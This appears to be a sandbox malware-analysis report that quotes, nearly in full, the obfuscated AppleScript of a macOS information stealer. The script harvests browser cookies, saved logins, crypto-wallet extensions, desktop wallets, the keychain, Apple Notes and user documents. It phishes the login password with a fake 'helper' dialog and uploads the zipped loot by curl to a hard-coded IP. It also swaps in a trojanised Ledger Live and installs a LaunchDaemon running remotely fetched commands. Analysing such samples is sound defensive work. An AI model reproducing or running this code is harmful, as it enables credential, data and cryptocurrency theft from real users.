\\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return"

Process not Found

System Checks 1 TTPs 2 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

defense_evasion

System Checks

T1497.001

ioc	Process
sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" \| awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", 